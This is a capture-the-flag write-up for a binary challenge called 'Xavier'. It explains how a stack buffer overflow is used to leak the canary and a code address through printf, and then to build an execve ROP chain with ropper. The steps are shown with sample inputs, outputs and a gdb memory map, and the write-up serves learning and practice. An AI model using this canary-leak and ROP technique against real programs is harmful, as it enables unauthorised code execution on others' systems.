# Xavier
## Assessment
Chall consists of an application that let's user write some data to the buffer, and print contents of the buffer back.Writing part has a fairly obvious buffer overflow - user can request arbitrarily long writes.
Although checksec doesn't seem to detect canary:
```Arch:     amd64-64-littleRELRO:    Full RELROStack:    No canary foundNX:       NX enabledPIE:      PIE enabled```
inspecting the binary reveals that canary is in fact present. This can be additionally verified by overflowing with garbage:
```[1] Set Buf[2] Print Buf[3] Exit> 1How much? 420According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible.[1] Set Buf[2] Print Buf[3] Exit> 3Bye @,@ ~!*** stack smashing detected ***: terminated[1]    35432 IOT instruction (core dumped)  ./chall```
So, although overwriting return address is straightforward enough, there's a canary and aslr that have to be defeated in order to mount succesfull attack.
## Leaks
Fortunetely leaking values from stack is possible, because: - application enables user to print back the written buffer with `printf()`, - data input uses `read()` which doesn't place any extra terminating null bytes in the buffer (on which `printf()` would stop).
So it seems like it should be enough to just write 0x28 bytes (which is the distance between buffer start and canary) and print the buffer to get the canary:
```> 1How much? 400123456789abcdef0123456789abcdef01234567[1] Set Buf[2] Print Buf[3] Exit> 20123456789abcdef0123456789abcdef01234567```
That didn't work. As it turns out generated canaries always have least significant byte = 0 (note: I'm not that knowledgable how exactly canaries get generated, but I assume that's OS dependant).That's easy to fix - just overwrite one byte more:
```> 1How much? 410123456789abcdef0123456789abcdef012345678[1] Set Buf[2] Print Buf[3] Exit> 20123456789abcdef0123456789abcdef012345678a��a\�0b�F�```
And that's canary leaked.The same technique can be used to fight aslr - just leak address of function that calls main (0x30 bytes below buffer):
```> 1How much? 480123456789abcdef0123456789abcdef0123456789abcdef[1] Set Buf[2] Print Buf[3] Exit> 20123456789abcdef0123456789abcdef0123456789abcdef0��j```
Now with canary and address it should be possible to actually exploit the binary.
## Now what
Just return to system, right? Wrong, there's no system plt, and no libc in memory:
```(gdb) info proc mapprocess 37097Mapped address spaces:
          Start Addr           End Addr       Size     Offset  Perms  objfile      0x7ffff7f0a000     0x7ffff7f0e000     0x4000        0x0  r--p   [vvar]      0x7ffff7f0e000     0x7ffff7f10000     0x2000        0x0  r-xp   [vdso]      0x7ffff7f10000     0x7ffff7f19000     0x9000        0x0  r--p   chall      0x7ffff7f19000     0x7ffff7fcc000    0xb3000     0x9000  r-xp   chall      0x7ffff7fcc000     0x7ffff7ff6000    0x2a000    0xbc000  r--p   chall      0x7ffff7ff7000     0x7ffff7ffb000     0x4000    0xe6000  r--p   chall      0x7ffff7ffb000     0x7ffff7ffe000     0x3000    0xea000  rw-p   chall      0x7ffff7ffe000     0x7ffff8022000    0x24000        0x0  rw-p   [heap]      0x7ffffffdd000     0x7ffffffff000    0x22000        0x0  rw-p   [stack]  0xffffffffff600000 0xffffffffff601000     0x1000        0x0  --xp   [vsyscall]```
This means that application has to communicate with kernel directly - and attacker can rop that as well.Easiest way to accomplish this is to generate the chain automatically with ropper:
```ropper --file chall --chain execve```
That might not produce an artisanal organic grass-fed rop-chain, but works good in the situation (if you never generated a rop-chain by hand and have spare 8 hours, try it out - it's certainly an interesting experience).
## That's it
Now just assemble all of the above into an exploit: - overflow and read canary, - overflow and read executable address (note: it has to be in that order, overflowing to read address overwrites canary), - overwrite return with generated rop-chain, making sure to also write canary at the correct place - exit, causing the chain to actually execute.